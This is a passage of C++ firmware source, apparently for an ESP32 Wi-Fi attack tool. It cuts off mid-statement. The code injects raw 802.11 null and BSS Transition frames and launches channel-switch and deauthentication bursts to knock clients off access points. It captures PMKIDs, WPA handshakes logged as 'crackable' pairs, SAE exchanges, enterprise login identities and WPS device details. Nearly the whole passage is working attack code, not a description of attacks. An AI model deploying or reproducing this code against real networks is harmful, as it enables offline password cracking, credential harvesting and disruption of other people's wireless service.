1099 if (wtag == 221 && wlen >= 4 &&
1100 ie[wp+2]==0x00 && ie[wp+3]==0x50 && ie[wp+4]==0xF2 && ie[wp+5]==0x04) {
1101 ap.wps_enabled =
true;
break;
1107 if (ap.rssi < _cfg.
min_rssi)
return;
1109 if (_fpHook) _fpHook(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch, rssi, ie, ie_len);
1112 if (_filterCb && !_filterCb(ap))
return;
1114 uint8_t effMask = _getAttackMask(ap.bssid);
1116 bool is_wpa3_only = (ap.enc >= 3) && _detectWpa3Only(ie, ie_len);
1117 bool pmf_capable =
false, pmf_required =
false;
1118 if (ap.enc >= 3) _detectPmfFlags(ie, ie_len, pmf_capable, pmf_required);
1119 ap.pmf_capable = pmf_capable;
1120 ap.pmf_required = pmf_required;
1121 uint8_t ft_capable = (ap.enc >= 3) && _detectFt(ie, ie_len);
1122 ap.ft_capable = ft_capable;
1125 uint16_t sta_count = 0;
1126 uint8_t chan_util = 0;
1127 uint8_t venue_group = 0;
1128 uint8_t venue_type = 0;
1129 uint8_t network_type = 0;
1132 while (pos + 2 <= ie_len) {
1133 uint8_t tag = ie[pos];
1134 uint8_t tlen = ie[pos + 1];
1135 if (pos + 2 + tlen > ie_len)
break;
1136 if (tag == 11 && tlen >= 5) {
1137 sta_count = ((uint16_t)ie[pos + 2]) | ((uint16_t)ie[pos + 3] << 8);
1138 chan_util = ie[pos + 4];
1139 }
else if (tag == 107 && tlen >= 1) {
1140 network_type = ie[pos + 2] & 0x0F;
1142 venue_group = ie[pos + 3];
1143 venue_type = ie[pos + 4];
1150 ap.venue_group = venue_group;
1151 ap.venue_type = venue_type;
1152 ap.network_type = network_type;
1153 ap.captured = _isCaptured(ap.bssid);
1155 ApCacheEntry* entry = _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch, rssi,
1156 is_wpa3_only, ap.wps_enabled, pmf_capable, pmf_required, ft_capable,
1157 sta_count, chan_util, venue_group, venue_type, network_type);
1161 uint16_t bint = (len >= 10) ? (((uint16_t)payload[8]) | ((uint16_t)payload[9] << 8)) : 0;
1164 while (pos + 2 <= ie_len) {
1165 uint8_t tag = ie[pos], tlen = ie[pos + 1];
1166 if (pos + 2 + tlen > ie_len)
break;
1167 if (tag == 1 || tag == 50) {
1168 for (uint8_t ri = 0; ri < tlen; ri++) {
1169 uint8_t r = (ie[pos + 2 + ri] & 0x7F);
1170 if (r > maxr) maxr = r;
1175 if (bint > 0) entry->beacon_interval = bint;
1176 if (maxr > 0) entry->max_rate_mbps = maxr / 2;
1182 while (pos + 2 <= ie_len) {
1183 uint8_t tag = ie[pos], tlen = ie[pos + 1];
1184 if (pos + 2 + tlen > ie_len)
break;
1185 if (tag == 7 && tlen >= 2) {
1186 entry->country[0] = ie[pos + 2];
1187 entry->country[1] = ie[pos + 3];
1188 entry->country[2] =
'\0';
1197 bool is_vht =
false;
1199 uint8_t chan_width = 0;
1201 while (pos + 2 <= ie_len) {
1202 uint8_t tag = ie[pos];
1203 uint8_t tlen = ie[pos + 1];
1204 if (pos + 2 + tlen > ie_len)
break;
1205 if (tag == 45 && tlen >= 2) {
1207 if ((ie[pos + 2] & 0x02) && chan_width < 1) chan_width = 1;
1208 }
else if (tag == 191 && tlen >= 4) {
1211 if (chan_width < 2) chan_width = 2;
1212 uint8_t sup_cw = (ie[pos + 2] >> 2) & 0x03;
1213 if (sup_cw == 1 && chan_width < 3) chan_width = 3;
1214 else if (sup_cw == 2 && chan_width < 4) chan_width = 4;
1215 }
else if (tag == 192 && tlen >= 3) {
1217 if (!is_vht) is_vht =
true;
1218 uint8_t vht_op_cw = ie[pos + 2];
1219 if (vht_op_cw == 1 && chan_width < 2) chan_width = 2;
1220 else if (vht_op_cw == 2 && chan_width < 3) chan_width = 3;
1221 else if (vht_op_cw == 3 && chan_width < 4) chan_width = 4;
1222 }
else if (tag == 255 && tlen >= 1 && ie[pos + 2] == 35) {
1230 ap.chan_width = chan_width;
1232 entry->flags.is_vht = is_vht;
1233 entry->flags.is_he = is_he;
1234 entry->chan_width = chan_width;
1235 entry->pairwise_cipher = _classifyPairwiseCipher(ie, ie_len);
1242 if (pmf_required && (ap.is_he || ap.is_vht)) {
1244 _log(
"[Attack] PMF+%s on %02X:%02X:%02X:%02X:%02X:%02X — DEAUTH/CSA suppressed\n",
1245 ap.is_he ?
"HE" :
"VHT",
1246 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
1250 bool threshold_ok =
true;
1254 if (threshold_ok) _apFoundCb(ap);
1260 entry->last_hidden_probe_ms =
millis();
1261 if (_probeWordlist && _probeWordlistLen > 0) {
1262 const char *w = _probeWordlist[entry->probe_word_idx % _probeWordlistLen];
1263 entry->probe_word_idx++;
1264 _sendProbeRequest(ap.bssid, w, (uint8_t)strnlen(w, 32));
1266 _sendProbeRequest(ap.bssid);
1271 if (ap.ssid_len > 0 && beacon_ch > 0) {
1272 if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0)
return;
1276 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1277 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
1278 if (!_apCache[i].flags.has_active_clients && (
millis() - _apCache[i].last_stimulate_ms > 15000)) {
1279 _apCache[i].last_stimulate_ms =
millis();
1283 uint8_t wake_null[24] = {
1284 0x48, 0x22, 0x00, 0x00,
1285 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
1286 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5],
1287 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5],
1290 esp_wifi_80211_tx(WIFI_IF_STA, wake_null,
sizeof(wake_null),
false);
1291 _log(
"[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
1292 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
1300 bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
1301 if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
1303 if (canFish && _fishState == FISH_IDLE) {
1305 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1306 if (!_apCache[i].flags.active)
continue;
1307 if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0)
continue;
1310 if (_apCache[i].enc ==
ENC_OWE)
break;
1315 uint32_t base_ms = _hasTarget ? 0u
1316 : _apCache[i].flags.has_active_clients ? 15000u
1318 uint8_t att = _apCache[i].total_attempts;
1319 uint32_t throttle_ms = (base_ms == 0u) ? 0u
1320 : (uint32_t)((uint64_t)base_ms << (att < 4u ? att : 4u));
1321 if (throttle_ms > 480000u) throttle_ms = 480000u;
1322 uint32_t elapsed =
millis() - _apCache[i].last_probe_ms;
1323 if (elapsed >= throttle_ms) {
1324 _apCache[i].last_probe_ms =
millis();
1325 _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
1331 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1332 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
1334 if (_apCache[i].enc ==
ENC_OWE)
return;
1341 memset(_fishSta, 0, 6);
1342 for (
int ci = 0; ci < MAX_AP_CACHE; ci++) {
1343 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0 && _apCache[ci].known_sta_count > 0) {
1344 memcpy(_fishSta, _apCache[ci].known_stas[0], 6);
break;
1347 static const uint8_t zero_mac[6] = {};
1348 if (memcmp(_fishSta, zero_mac, 6) == 0) {
1349 for (
int s = 0; s < MAX_SESSIONS; s++) {
1350 if (_sessions[s].flags.active && _sessions[s].flags.has_m2 && memcmp(_sessions[s].bssid, ap.bssid, 6) == 0) {
1351 memcpy(_fishSta, _sessions[s].sta, 6);
break;
1355 memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] =
'\0';
1356 _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs =
millis();
1357 for (
int ci = 0; ci < MAX_AP_CACHE; ci++) {
1358 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0) {
1359 _apCache[ci].last_attack_ms = _fishStartMs;
1363 _fishState = FISH_CSA_WAIT;
1364 _csaSecondBurstSent =
false;
1366 const uint8_t *known_sta = (memcmp(_fishSta, zero_mac, 6) != 0) ? _fishSta : nullptr;
1373 _csaFallbackMs =
millis() + 1000;
1379 _log(
"[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
1380 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
1383 if ((effMask &
ATTACK_BTM) && !_isCaptured(ap.bssid)) {
1384 for (
int ci = 0; ci < MAX_AP_CACHE; ci++) {
1385 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0) {
1386 for (
int s = 0; s < _apCache[ci].known_sta_count; s++) {
1388 _sendBtmRequest(ap.bssid, _apCache[ci].known_stas[s]);
1391 _log(
"[BTM] Sent %d requests to %d clients on %02X:%02X:%02X:%02X:%02X:%02X\n",
1393 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
1401 _recordClientForAp(hdr->addr1, hdr->addr2, rssi);
1402 if (_fpHook && len >= 4) {
1403 const uint8_t *ie_start = payload + 4;
1404 uint16_t ie_len = (len > 4) ? len - 4 : 0;
1405 char assoc_ssid[33] = {};
1406 uint8_t assoc_ssid_len = 0;
1407 _parseSsid(ie_start, ie_len, assoc_ssid, assoc_ssid_len);
1408 _fpHook(hdr->addr2, assoc_ssid, assoc_ssid_len, _rxChannel, rssi, ie_start, ie_len);
1411 if (len < 6)
return;
1412 uint16_t auth_alg = ((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8);
1413 uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1414 uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
1416 if (auth_alg == 0) {
1417 if (auth_seq == 2 && !_fishAuthLogged) {
1418 _fishAuthLogged =
true;
1419 _log(
"[Auth] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1420 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1421 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
1423 }
else if (auth_alg == 3) {
1426 _log(
"[SAE] %s from %02X:%02X:%02X:%02X:%02X:%02X rssi=%d\n",
1427 (auth_seq == 1) ?
"Commit" : (auth_seq == 2) ?
"Confirm" :
"Auth",
1428 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1429 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], rssi);
1432 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1433 rec.type =
CAP_SAE; rec.channel = _rxChannel; rec.rssi = rssi;
1434 memcpy(rec.bssid, hdr->addr3, 6); memcpy(rec.sta, hdr->addr2, 6);
1435 _lookupSsid(rec.bssid, rec.ssid, rec.ssid_len);
1436 _lookupEnc(rec.bssid, rec.enc);
1437 _lookupCipher(rec.bssid, rec.cipher);
1440 uint16_t sae_body_len = (len > 6) ? len - 6 : 0;
1441 if (sae_body_len > 256) sae_body_len = 256;
1442 memcpy(rec.sae_data, payload + 6, sae_body_len);
1443 rec.sae_len = sae_body_len;
1444 rec.sae_seq = (uint8_t)auth_seq;
1445 rec.is_full = (auth_seq == 2);
1452 if (len < 6 || !_eapolCb)
return;
1453 const uint8_t *ie = payload + 6;
1454 uint16_t ie_len = (len > 6) ? len - 6 : 0;
1455 const uint8_t *bssid = hdr->addr2;
1456 const uint8_t *sta = hdr->addr1;
1458 uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1459 if (!_fishAssocLogged) {
1460 _fishAssocLogged =
true;
1461 _log(
"[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1462 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
1464 if (status != 0)
return;
1467 while (pos + 2 <= ie_len) {
1468 uint8_t tag = ie[pos];
1469 uint8_t tlen = ie[pos + 1];
1470 if (pos + 2 + tlen > ie_len)
break;
1471 if (tag == 48 && tlen >= 20) {
1472 const uint8_t *rsn = ie + pos + 2;
1473 uint16_t rlen = tlen;
1475 if (off + 2 > rlen) { pos += 2 + tlen;
continue; }
1476 uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
1477 if (pw_cnt > 20 || off + pw_cnt * 4 > rlen) { pos += 2 + tlen;
continue; }
1479 if (off + 2 > rlen) { pos += 2 + tlen;
continue; }
1480 uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
1481 if (akm_cnt > 20 || off + akm_cnt * 4 > rlen) { pos += 2 + tlen;
continue; }
1483 if (off + 4 > rlen) { pos += 2 + tlen;
continue; }
1485 uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
1486 if (pmkid_cnt > 0 && off + 16 <= rlen) {
1487 const uint8_t *pmkid_raw = rsn + off;
1488 bool pmkid_valid =
false;
1489 for (
int pi = 0; pi < 16; pi++)
if (pmkid_raw[pi]) { pmkid_valid =
true;
break; }
1492 _incCaptureCount(bssid);
1493 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1494 rec.type =
CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1495 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1496 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1497 _lookupEnc(bssid, rec.enc);
1498 _lookupCipher(bssid, rec.cipher);
1499 memcpy(rec.pmkid, pmkid_raw, 16);
1500 _log(
"[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
1501 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1502 _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
1503 if (_eapolCb) _eapolCb(rec);
1512void Politician::_handleData(
const ieee80211_hdr_t *hdr,
const uint8_t *payload,
1513 uint16_t len, int8_t rssi) {
1515 if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03)
return;
1516 if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00)
return;
1520 _channelTrafficSeen =
true;
1525 const uint8_t *bssid;
1528 if (toDS && !fromDS) {
1529 bssid = hdr->addr1; sta = hdr->addr2;
1530 }
else if (!toDS && fromDS) {
1531 bssid = hdr->addr2; sta = hdr->addr1;
1533 bssid = hdr->addr3; sta = hdr->addr2;
1539 if (eapol_len >= 4) {
1540 if (eapol[1] == 0x00 && (_identityCb !=
nullptr || _wpsCb !=
nullptr
1541#ifndef POLITICIAN_NO_MSCHAPV2
1542 || _msChapCb !=
nullptr
1545 if (eapol_len >= 9 && eapol[4] == 0x01 && eapol[8] > 0x01) {
1546 uint8_t method = eapol[8];
1548 for (uint8_t i = 0; i < MAX_EAP_METHODS; i++) {
1549 if (memcmp(_eapMethods[i].bssid, bssid, 6) == 0) {
1550 _eapMethods[i].method = method;
1556 uint8_t slot = _eapMethodIdx % MAX_EAP_METHODS;
1557 memcpy(_eapMethods[slot].bssid, bssid, 6);
1558 _eapMethods[slot].method = method;
1562 if (_identityCb !=
nullptr) _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
1563 if (_wpsCb !=
nullptr) _parseWpsFrame(bssid, sta, eapol, eapol_len, rssi);
1564#ifndef POLITICIAN_NO_MSCHAPV2
1565 if (_msChapCb !=
nullptr) _parseEapMsChap(bssid, sta, eapol, eapol_len, rssi);
1567 }
else if (eapol[1] == 0x03) {
1568 _parseEapol(bssid, sta, eapol, eapol_len, rssi);
1573bool Politician::_parseEapol(
const uint8_t *bssid,
const uint8_t *sta,
1574 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1575 if (_isCaptured(bssid))
return false;
1576 if (len < 4 || eapol[1] != 0x03)
return false;
1579 static const uint8_t zero_mac[6] = {};
1580 if (memcmp(_cfg.
sta_filter, zero_mac, 6) != 0 && memcmp(sta, _cfg.
sta_filter, 6) != 0)
return false;
1582 const uint8_t *key = eapol + 4;
1583 uint16_t key_len = len - 4;
1591 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1592 rec.type =
CAP_EAPOL_GROUP; rec.channel = _rxChannel; rec.rssi = rssi;
1593 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1594 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1595 _lookupEnc(bssid, rec.enc);
1596 _lookupCipher(bssid, rec.cipher);
1597 _log(
"[EAPOL] Group key handshake from %02X:%02X:%02X:%02X:%02X:%02X\n",
1598 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1610 if (msg == 0)
return false;
1612 _log(
"[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
1613 msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
1615 if (msg == 3 || msg == 4) {
1616 _recordClientForAp(bssid, sta, rssi);
1619 if (_hopping && _m1Locked) {
1623 Session *sess = _findSession(bssid, sta);
1624 if (!sess)
return true;
1627 uint16_t store_len = (len < 256) ? len : 256;
1628 if (sess->m3_off + store_len <=
sizeof(sess->eapol_buffer)) {
1629 memcpy(sess->eapol_buffer + sess->m3_off, eapol, store_len);
1630 sess->m3_len = store_len;
1631 sess->flags.has_m3 =
true;
1632 sess->m4_off = sess->m3_off + store_len;
1634 }
else if (msg == 4) {
1635 uint16_t store_len = (len < 256) ? len : 256;
1636 if (sess->m4_off + store_len <=
sizeof(sess->eapol_buffer)) {
1637 memcpy(sess->eapol_buffer + sess->m4_off, eapol, store_len);
1638 sess->m4_len = store_len;
1639 sess->flags.has_m4 =
true;
1643 if (sess->flags.has_m1 && sess->flags.has_m2) {
1644 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1646 rec.channel = sess->channel; rec.rssi = sess->rssi;
1647 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1648 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
1649 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1650 memcpy(rec.mic, sess->mic, 16);
1651 memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len); rec.eapol_m2_len = sess->m2_len;
1652 memcpy(rec.eapol_m3, sess->eapol_buffer + sess->m3_off, sess->m3_len); rec.eapol_m3_len = sess->m3_len;
1653 memcpy(rec.eapol_m4, sess->eapol_buffer + sess->m4_off, sess->m4_len); rec.eapol_m4_len = sess->m4_len;
1654 rec.has_anonce =
true; rec.has_snonce = sess->flags.has_m2; rec.has_mic =
true;
1655 rec.has_m3 = sess->flags.has_m3; rec.has_m4 =
true;
1658 _log(
"[EAPOL] Full 4-Way Handshake captured for %02X:%02X:%02X:%02X:%02X:%02X\n",
1659 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1661 if (_eapolCb) _eapolCb(rec);
1662 sess->flags.active =
false;
1668 Session *sess = _findSession(bssid, sta);
1669 if (!sess) sess = _createSession(bssid, sta);
1670 if (!sess)
return false;
1672 sess->channel = _rxChannel; sess->rssi = rssi;
1675 bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
1676 if (!isOurFishM1 && !(_attackMask &
ATTACK_PASSIVE))
return false;
1681 sess->flags.has_m1 =
true;
1683 if (_hopping && !_m1Locked) {
1684 _probeLocked =
false; _m1Locked =
true;
1687 if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs =
millis() + _cfg.
m1_lock_ms;
1692 for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
1693 if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
1694 const uint8_t *pmkid_raw = kdata + i + 6;
1695 bool pmkid_valid =
false;
1696 for (
int pi = 0; pi < 16; pi++)
if (pmkid_raw[pi]) { pmkid_valid =
true;
break; }
1699 _incCaptureCount(bssid);
1700 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1701 rec.type =
CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1702 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1703 memcpy(rec.ssid, sess->ssid,
sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
1704 _lookupEnc(bssid, rec.enc);
1705 _lookupCipher(bssid, rec.cipher);
1706 memcpy(rec.pmkid, pmkid_raw, 16);
1707 _log(
"[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
1708 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1709 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1710 if (_eapolCb) _eapolCb(rec);
1716 }
else if (msg == 2) {
1717 if (memcmp(sta, _ownStaMac, 6) == 0)
return false;
1719 if (sess->flags.has_m1 && memcmp(key +
EAPOL_REPLAY_COUNTER, sess->m1_replay_counter, 8) != 0)
return false;
1722 if (_hopping && _m1Locked) {
1731 uint16_t store_len = (len < 256) ? len : 256;
1733 memcpy(sess->eapol_buffer + sess->m2_off, eapol, store_len); sess->m2_len = store_len;
1737 sess->m3_off = store_len;
1738 sess->m4_off = store_len;
1740 bool is_new_m2 = !sess->flags.has_m2;
1741 sess->flags.has_m2 =
true;
1742 _recordClientForAp(bssid, sta, rssi);
1744 if (sess->flags.has_m1) {
1745 static const uint8_t zero_mic[16] = {};
1746 if (memcmp(sess->mic, zero_mic, 16) == 0) {
1747 _log(
"[EAPOL] M2 MIC is zero — discarding malformed frame\n");
1748 sess->flags.active =
false;
1751 uint32_t now_cap =
millis();
1752 if (memcmp(bssid, _lastCapBssid, 6) == 0 && memcmp(sta, _lastCapSta, 6) == 0 &&
1758 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1760 rec.channel = sess->channel; rec.rssi = sess->rssi;
1761 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1762 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
1763 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1764 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1765 rec.eapol_m2_len = sess->m2_len; rec.has_anonce =
true; rec.has_snonce =
true; rec.has_mic =
true;
1766 rec.is_full =
false;
1768 _log(
"[EAPOL] Crackable pair (M1+M2) captured for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
1769 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1772 _incCaptureCount(bssid);
1773 memcpy(_lastCapBssid, bssid, 6); memcpy(_lastCapSta, sta, 6); _lastCapMs = now_cap;
1774 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1775 if (_eapolCb) _eapolCb(rec);
1780 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1782 rec.channel = sess->channel; rec.rssi = sess->rssi;
1783 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1784 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
1785 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1786 rec.eapol_m2_len = sess->m2_len; rec.has_mic =
true;
1787 _log(
"[EAPOL] Half-handshake (M2-only) for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s — pivoting\n",
1788 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1789 if (_eapolCb) _eapolCb(rec);
1795 if (_fishState == FISH_IDLE) {
1797 _log(
"[EAPOL] Half-handshake pivot skipped — CSA/Deauth required to complete capture\n");
1799 memcpy(_fishBssid, bssid, 6);
1800 memcpy(_fishSsid, sess->ssid, sess->ssid_len); _fishSsid[sess->ssid_len] =
'\0';
1801 _fishSsidLen = sess->ssid_len; _fishChannel = sess->channel; _fishStartMs =
millis();
1802 memcpy(_fishSta, sta, 6);
1803 for (
int ci = 0; ci < MAX_AP_CACHE; ci++) {
1804 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, bssid, 6) == 0) {
1805 _apCache[ci].last_attack_ms = _fishStartMs;
1809 _fishState = FISH_CSA_WAIT; _csaSecondBurstSent =
false;
1811 if (_attackMask &
ATTACK_CSA) _sendCsaBurst();
1817 _csaFallbackMs =
millis() + 1000;
1830void Politician::_parseEapIdentity(
const uint8_t *bssid,
const uint8_t *sta,
1831 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1833 if (len < 9)
return;
1836 if (eapol[4] != 0x02)
return;
1839 if (eapol[8] != 0x01)
return;
1841 uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
1842 if (eap_len < 5)
return;
1845 uint16_t id_len = eap_len - 5;
1848 if (9 + id_len > len)
return;
1850 EapIdentityRecord rec;
1851 memset(&rec, 0,
sizeof(rec));
1852 memcpy(rec.bssid, bssid, 6);
1853 memcpy(rec.client, sta, 6);
1854 rec.channel = _rxChannel;
1857 for (uint8_t i = 0; i < MAX_EAP_METHODS; i++) {
1858 if (memcmp(_eapMethods[i].bssid, bssid, 6) == 0 && _eapMethods[i].method != 0) {
1859 rec.eap_method = _eapMethods[i].method;
1864 uint16_t copy_len = (id_len < 64) ? id_len : 64;
1865 memcpy(rec.identity, eapol + 9, copy_len);
1866 rec.identity[copy_len] =
'\0';
1868 _log(
"[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
1869 rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
1871 if (_identityCb) _identityCb(rec);
1874void Politician::_parseWpsFrame(
const uint8_t *bssid,
const uint8_t *sta,
1875 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1888 if (len < 18)
return;
1889 if (eapol[4] != 0x02)
return;
1890 if (eapol[8] != 0xFE)
return;
1892 if (eapol[9] != 0x00 || eapol[10] != 0x37 || eapol[11] != 0x2A)
return;
1894 if (eapol[12] != 0x00 || eapol[13] != 0x00 || eapol[14] != 0x00 || eapol[15] != 0x01)
return;
1895 if (eapol[16] != 0x04)
return;
1897 uint16_t tlv_offset = 18;
1898 if (eapol[17] & 0x02) tlv_offset += 2;
1899 if (tlv_offset >= len)
return;
1901 const uint8_t *tlv = eapol + tlv_offset;
1902 uint16_t tlv_len = len - tlv_offset;
1905 uint8_t msg_type = 0;
1907 while (pos + 4 <= tlv_len) {
1908 uint16_t attr_type = ((uint16_t)tlv[pos] << 8) | tlv[pos + 1];
1909 uint16_t attr_len = ((uint16_t)tlv[pos + 2] << 8) | tlv[pos + 3];
1910 if (pos + 4 + attr_len > tlv_len)
break;
1911 if (attr_type == 0x104A && attr_len >= 1) { msg_type = tlv[pos + 4];
break; }
1912 pos += 4 + attr_len;
1914 if (msg_type != 0x04)
return;
1916 WpsRecord rec; memset(&rec, 0,
sizeof(rec));
1917 memcpy(rec.bssid, bssid, 6);
1918 memcpy(rec.sta, sta, 6);
1919 rec.channel = _rxChannel;
1924 while (pos + 4 <= tlv_len) {
1925 uint16_t attr_type = ((uint16_t)tlv[pos] << 8) | tlv[pos + 1];
1926 uint16_t attr_len = ((uint16_t)tlv[pos + 2] << 8) | tlv[pos + 3];
1927 if (pos + 4 + attr_len > tlv_len)
break;
1928 const uint8_t *val = tlv + pos + 4;
1930 auto cpStr = [](
char *dst,
size_t dsz,
const uint8_t *src, uint16_t slen) {
1931 uint16_t n = (slen < (uint16_t)(dsz - 1)) ? slen : (uint16_t)(dsz - 1);
1932 memcpy(dst, src, n); dst[n] =
'\0';
1935 switch (attr_type) {
1936 case 0x1011: cpStr(rec.device_name,
sizeof(rec.device_name), val, attr_len);
break;
1937 case 0x1021: cpStr(rec.manufacturer,
sizeof(rec.manufacturer), val, attr_len);
break;
1938 case 0x1023: cpStr(rec.model_name,
sizeof(rec.model_name), val, attr_len);
break;
1939 case 0x1024: cpStr(rec.model_number,
sizeof(rec.model_number), val, attr_len);
break;
1940 case 0x1042: cpStr(rec.serial_number,
sizeof(rec.serial_number), val, attr_len);
break;
1941 case 0x1004:
if (attr_len >= 2) rec.auth_type_flags = ((uint16_t)val[0] << 8) | val[1];
break;
1942 case 0x1008:
if (attr_len >= 2) rec.config_methods = ((uint16_t)val[0] << 8) | val[1];
break;
1943 case 0x103C:
if (attr_len >= 1) rec.rf_bands = val[0];
break;
1944 case 0x1054:
if (attr_len >= 2) rec.primary_dev_type_cat = ((uint16_t)val[0] << 8) | val[1];
break;
1947 pos += 4 + attr_len;
1950 _log(
